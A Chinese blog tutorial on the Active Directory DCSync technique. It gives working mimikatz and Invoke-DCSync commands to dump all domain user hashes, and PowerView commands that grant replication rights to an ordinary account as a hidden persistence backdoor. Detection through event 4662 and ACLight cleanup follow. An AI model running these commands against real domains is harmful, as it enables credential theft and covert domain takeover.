0%

域渗透提权维权之dcsync

0x01 概述

DCSync是mimikatz的功能/命令。dcsync特点在于不用登录服务器,就可以远程通过域数据同步复制的方式模仿域控从真实的域控当中请求数据获得想要的用户hash

0x02 dump hash

条件:

有以下任意用户权限即可:

  • Domain Admins组内的用户
  • Administrators组内的用户
  • Enterprise Admins组内的用户
  • 域控制器的计算机帐户

原理:

利用DRS(Directory Replication Service)协议通过IDL_DRSGetNCChanges从域控复制用户凭据 ??

实现代码:https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/lsadump/kuhl_m_lsadump_dc.c#L27

维权方法:

  1. mimikatz

    如上上篇博客所写

    1
    2
    3
    4
    #导出所有用户hash
    lsadump::dcsync /domain:wlaq.com /all /csv
    #导出administrator的hash
    lsadump::dcsync /domain:wlaq.com /user:administrator /csv
  2. powershell(对2012及以上不适用)

    Invoke-DCSync:

    \使用mimikatz的dcsync来收集域用户的hash,通过Invoke-ReflectivePEinjection调用mimikatz.dll中的dcsync功能

    https://gist.github.com/monoxgas/9d238accd969550136db

    1
    2
    3
    4
    5
    6
    #先更改powershell的执行策略
    set-executionpolicy bypass -scope process
    #导出域内所有用户的hash:
    Invoke-DCSync -DumpForest | ft -wrap -autosize
    #导出域内administrator帐户的hash:
    Invoke-DCSync -DumpForest -Users @("administrator") | ft -wrap -autosize

    powerview:

    https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1#L8270

    利用powerview可向域内的一个普通用户添加如下三条ACE(Access Control Entries):

    1
    2
    3
    DS-Replication-Get-Changes(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
    DS-Replication-Get-Changes-All(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
    DS-Replication-Get-Changes(GUID:89e95b76-444d-4c62-991a-0facbeda640c)

    经过实验,添加前两条即可

    1
    2
    3
    4
    5
    6
    #导入powerview
    import-module .\Powerview.ps1
    #向普通用户test添加上面三条ACE-acess control entries
    Add-DomainObjectAcl -TargetIdentity "DC=wlaq,DC=com" -PrincipalIdentity test -Rights DCSync -Verbose
    #删除ACE命令
    Remove-DomainObjectAcl -TargetIdentity "DC=wlaq,DC=com" -PrincipalIdentity test -Rights DCSync -Verbose

    此时test用户即可利用DCSync来导出域内账户的hash,实现如下:

利用powerview获取用户权限

利用powerview向域内普通账户swanq添加三个访问控制项

使用runas登录swanq账户

使用mimikatz dump hash:

0x03检测及清理

检测:

注意windows事件:4662.

此时域成员与终端上都产生了两条ACE被添加的事件日志

清理:

使用zbang自动化检测当前环境是否遭受dcsync攻击:ACLight ->launch

ACLight可以检测出被添加DCSync权限的用户swanq

检测原理:

枚举Active Directory中所有用户的ACL,标记出特权账户

如果已被攻击,powerview清除ACE,参考0x02部分内容

0x04总结

  1. Shadow Admin:具有高权限但不在高权限组的用户,如实验中的域用户swanq,查询高权限组的成员无法发现域内的Shadow Admin,但是zbang可以发现。

  2. ACL和ACE的区别:

    总结:ACL的多个ACE表示拥有不同访问权限的账户或登录会话。通过使用ACE的访问控制项来授予AD域服务中资源的访问权限

  3. 账户:

    • 用户账户可以登录到本机计算机
    • 组用户不可

参考

  1. 主要参考:https://3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-DCSync
  2. 附属:https://blog.csdn.net/qq_41874930/article/details/111686683
  3. 工具:https://github.com/cyberark/zBang/releases/tag/v1.1
  4. https://www.youtube.com/watch?v=aSAZzIqGeiY
你想在文章末尾对读者说的话